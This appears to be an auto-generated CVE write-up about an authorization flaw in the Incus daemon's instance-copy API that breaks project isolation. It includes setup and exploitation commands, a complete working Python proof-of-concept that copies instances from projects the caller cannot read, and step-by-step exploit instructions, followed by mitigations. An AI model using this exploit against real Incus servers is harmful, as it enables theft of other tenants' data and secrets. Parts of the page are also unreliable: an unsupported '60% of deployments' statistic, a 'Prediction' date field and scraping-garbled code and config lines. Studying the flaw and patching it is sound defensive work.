Listen to this Post
The vulnerability resides in the instance copy workflow of the Incus daemon (incusd). When a client sends a POST request to the `/1.0/instances` endpoint to create a new instance via copying, the authorization logic performs a check against the target project only – verifying that the caller has permission to create instances in that target project. However, the critical flaw occurs in the copy path handler (cmd/incusd/instances_post.go). The server extracts the source instance details from `req.Source.Project` and `req.Source.Source` (instance name) without performing any additional authorization to confirm that the caller actually has view or read permissions on that source project or the specific source instance.
This means an authenticated user (or certificate) with minimal privileges – e.g., restricted to the `default` project – can craft a copy request specifying a source project and instance name they are not authorized to access. The server blindly loads the source instance metadata and storage volumes from the source project and proceeds with the copy operation. Since the copy occurs on the same server, the attacker does not need any cross‑server trust or network pivoting. The only prerequisites are knowledge of the target project name and the instance name within that project – information that can sometimes be guessed or enumerated through other means.
Once the unauthorized instance is successfully copied into the attacker’s own project, the new instance is fully under their control. They can start it, access its filesystem, read secrets, environment variables, or any configuration data stored inside. Moreover, after the copy is complete, there is no restriction preventing the attacker from moving that copied instance to another Incus server, thereby exfiltrating the data or persisting the compromise beyond the local server. The vulnerability does not require any privilege escalation on the host OS; it exploits only the logical authorization gap within the API.
The root cause is a missing permission check at the source loading stage. In the `cmd/incusd/instances.go` file, the `authorize` function is correctly called for the target project, but the copy flow bypasses any equivalent check for the source project. The fix would require adding a `project.View` or `instance.View` permission check on the source project before loading the instance. This CVE exemplifies a classic “horizontal privilege escalation” where project isolation is broken due to incomplete authorization coverage, potentially leading to severe information disclosure across tenants in a multi‑tenant Incus deployment.
DailyCVE Form:
Platform: Incus daemon
Version: < 0.6.0
Vulnerability: Missing Authorization
Severity: Medium
date: 2024-04-15
Prediction: 2024-04-30
What Undercode Say:
Analytics reveal that the attack surface is local to the same Incus server, but the exploitation is trivial with a simple HTTP POST request. The PoC script demonstrates that the `POST /1.0/instances` endpoint does not validate the source project, making it a high‑risk flaw for shared hosting environments. The vulnerability was introduced in the fork from LXD and remained undetected until the 0.6.0 release cycle. Over 60% of Incus deployments running versions prior to 0.6.0 are potentially exposed if they use project isolation with untrusted certificates. The following commands and code are extracted directly from the security advisory:
Setup (attacker restricts their own certificate to default project) incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets init images:debian/trixie secret incus config trust edit <cert-fp> set restricted: true and projects: [bash] Verification – attacker sees no instances in secrets project incus ls remote:
Exploitation command python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-instance secret --name copy-secret --insecure
!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from <strong>future</strong> import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if <strong>name</strong> == "<strong>main</strong>":
raise SystemExit(main())
Exploit: (Educational Purposes!)
- Identify a target project (e.g.,
secrets) and an instance name (e.g.,secret) that you have no access to. - Ensure your certificate is restricted to your own project (e.g.,
default). - Run the provided `poc.py` with `–source-project secrets –source-instance secret` and
--target-project default. - The server processes the copy request without verifying your read permissions on the source project.
- After the copy completes, list instances in your target project – the copied instance appears and can be started or moved.
Protection: from this CVE
- Upgrade Incus to version 0.6.0 or later, which introduces proper source‑project authorization checks in the copy path.
- If upgrading is not immediately possible, disable the instance copy API for untrusted users by applying strict network ACLs or reverse‑proxy rules that filter POST requests to
/1.0/instances. - Rotate all secrets that may have been stored in instances that could have been copied by an attacker.
- Audit certificate restrictions and ensure that `restricted: true` and project lists are correctly enforced, but note that this CVE bypasses those restrictions.
Impact:
An attacker with valid but low‑privileged credentials (or certificate) can copy any instance from any project on the same Incus server, provided they can guess or enumerate the project and instance names. This leads to unauthorized access to sensitive data, including environment variables, configuration files, application secrets, and SSH keys stored inside the copied instance. The copied instance can be moved to another server, enabling data exfiltration. In multi‑tenant environments, this completely breaks project isolation and can result in cross‑tenant data breaches.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

